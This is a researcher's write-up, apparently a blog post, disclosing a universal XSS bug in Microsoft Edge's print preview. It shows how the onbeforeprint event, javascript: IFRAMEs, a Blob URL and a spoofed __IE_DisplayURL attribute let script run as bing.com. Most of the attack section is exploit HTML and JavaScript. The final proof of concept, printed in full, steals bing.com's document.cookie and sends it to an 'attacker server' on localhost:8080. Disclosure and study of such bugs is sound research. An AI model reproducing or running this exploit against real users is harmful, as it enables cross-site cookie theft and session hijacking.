Microsoft Edge - Universal XSS

The universal XSS (uXSS) is a coveted bug in browsers, it gives you the ability to execute Javascript as any website. It's like having an XSS in all websites which is pretty interesting. What's more interesting is the way I found this bug - You see, usually when I imagine uXSS bugs it's something to do with the IFRAME element or messing around with the URL. But I never imagined I would find a uXSS bug using the 'print()' function.

The Print Preview Context

Let's talk about what actually happens when Edge displays a print preview window. I always assumed it was just a screenshot drawn into a Canvas type technology, but in fact the page you are printing is copied into a temporary location and re-rendered!

When we execute 'print()' in a page, we see the following file system activity in Process Monitor: So, a file is being created in Edge temporary directory and the content of this file is a slightly modified version of the original page we were trying to print. Let's compare. Before print:

<!doctype html> <html> <head> <title> Printer Button </title> </head> <body> <button id= "qbutt" > Print! </button> <iframe src= "https://www.bing.com/?q=example" ></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>

<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""> <HTML __IE_DisplayURL= "http://q.leucosite.com:777/printExample.html" ><HEAD><META content= "text/html; charset=utf-8" http-equiv= Content-Type > <BASE HREF= "http://q.leucosite.com:777/printExample.html" > <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE> Printer Button </TITLE></HEAD><BODY><BUTTON id= "qbutt" > Print! </BUTTON> <IFRAME src= "file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm" ></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>

Javascript is encoded and rendered invalid. The IFRAME now points to another local file in the same directory which contains the source code of the original bing.com reference.

The HTML element now has a peculiar attribute '__IE_DisplayURL'

'<script>'

'@media print{}'

'file:'

Executing Javascript within Print Preview

After print:There are a few things we can notice from this comparison.I did a few tests in regards to [1] and [2], first I tried to see if I can still get valid Javascript after the encoding in hopes I would get Javascript execution. But it turns out that any Javascript coming from within aelement, despite being valid or invalid, is not executed.With [2] I was able to come up with a OS username disclosure using CSSfunctionality plus CSS selector magic to grab the OS username from the resulting IFRAME href value. However, this was not good enough.[3] Was where things got interesting, this attribute is very unusual and up until this point I have never seen it. So instantly I looked it up and came with a few articles, looked like Masato Kinugawa has already played with this attribute and found pretty cool bugs.After doing some reading and messing around, I found that the print preview context relies on this attribute to know where the document came from. This makes sense since essentially Edge is opening files within theURI scheme. However, with this attribute hinting to the origin, you will notice all requests coming from this document (within print preview) will mimic the exact same behavior as if it's coming from the original website.But how can we abuse this attribute? There must be a way!

Like I said before, any Javascript coming from within a normal SCRIPT tag will be blocked or just ignored. But what about other vectors? So I tried everything under the sun that I could think of and I will spare you all the failed attempts and get straight to the point.

We are dealing with a print function here, so naturally I played with the print related events, the one that got me a result was 'onbeforeprint' , using it got me the ability to inject an IFRAME that points to any website without having Edge convert it into a file first. So almost immediately I tried injecting an IFRAME which was pointing to a Javascript URL and boom! That particular Javascript was executed in the print preview context. The Javascript injection test:

<!doctype html> <html> <head> <title> Printer Button </title> </head> <body> <button id= "qbutt" > Print! </button> <div id= "qcontent" ></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint= function (e){ qcontent.innerHTML= ` <iframe src= "javascript:if(top.location.protocol=='file:'){document.write('in print preview')}" >< /iframe>`; } </script> </body> </html>

<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""> <HTML __IE_DisplayURL= "http://q.leucosite.com/dl.html" ><HEAD><META content= "text/html; charset=windows-1252" http-equiv= Content-Type > <BASE HREF= "http://q.leucosite.com/dl.html" > <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE> Printer Button </TITLE></HEAD><BODY><BUTTON id= "qbutt" > Print! </BUTTON> <DIV id= "qcontent" ><IFRAME src= "javascript:if(top.location.protocol=='file:'){document.write('in print preview')}" ></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint= function (e){ qcontent.innerHTML= ` <iframe src= "javascript:if(top.location.protocol=='file:'){document.write('in print preview')}" >< /iframe>`; } </SCRIPT> </BODY></HTML>

'__IE_DisplayURL'

The Actual uXSS

After print preview conversion:Result screenshot:Now, just by having Javascript execution does not mean we are done. As I mentioned before, because of theattribute then any request or API will be treated as if coming from the original document origin.

Now that we have the Javascript execution, we need to somehow construct our own 'print preview document' with our own custom '__IE_DisplayURL' and then we can mimic any website we choose resulting in uXSS.

I found that using a Blob URL I was able to achieve exactly that! So I made my own print document with the custom attribute pointing to my target website ('bing.com' in this case) and it contained a Javascript IFRAME which will execute as if it's from 'bing.com' itself.

I injected the following Javascript:

if (top.location.protocol == 'file:' ) { setTimeout( function () { top.location = URL.createObjectURL( new Blob([top.document.getElementById( 'qd' ).value], { type: 'text/html' })) }, 1000 ) }

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML __IE_DisplayURL= "https://www.bing.com/" ><HEAD><META content= "text/html; charset=windows-1252" http-equiv= Content-Type > <BASE HREF= "https://www.bing.com/" > <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width : 300px ; height : 300px ; } </STYLE> </HEAD><BODY> <iframe id= "qif" src= "javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie" > </BODY></HTML>

Using the 'onbeforeprint' event, I insert an IFRAME that points to my Javascript payload right before printing. I call window.print() to initiate. Edge then displays the print preview window whilst rendering my injected Javascript The injected Javascript created a Blob URL that contains my custom 'bing.com' print document and redirects the top frame to this URL. The print preview context gets fooled into thinking the content of my Blob URL is a legitimate print document and sets the documents origin to 'bing.com' through the '__IE_DisplayURL' attribute. The fake print document contains yet another Javascript IFRAME which simply displays the 'document.cookie' of 'bing.com' uXSS achieved!

Final PoC and Video

Where 'top.document.getElementById('qd').value' is the following fake 'print document':All I'm doing is reading 'document.cookie' and sending it to a server.To summarize what the final exploit is doing:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe { width : 300px ; height : 300px ;} </style> </head> <body> <!-- -----------------------------HTML for our blob------------------------------------ --> <textarea id= "qd" > <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML __IE_DisplayURL= "https://www.bing.com/" ><HEAD><META content= "text/html; charset=windows-1252" http-equiv= Content-Type > <BASE HREF= "https://www.bing.com/" > <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width : 300px ; height : 300px ; } </STYLE> </HEAD><BODY> <iframe id= "qif" src= "javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie" > </BODY></HTML> </textarea> <!-- ---------------------------------------------------------------------------- --> <script> var qdiv=document.createElement( 'div' ); document.body.appendChild(qdiv); window.onbeforeprint= function (e){ qdiv.innerHTML= ` <iframe src= "javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}" >< /iframe>`; } window.print(); </script> <style> </style> </body> </html>

References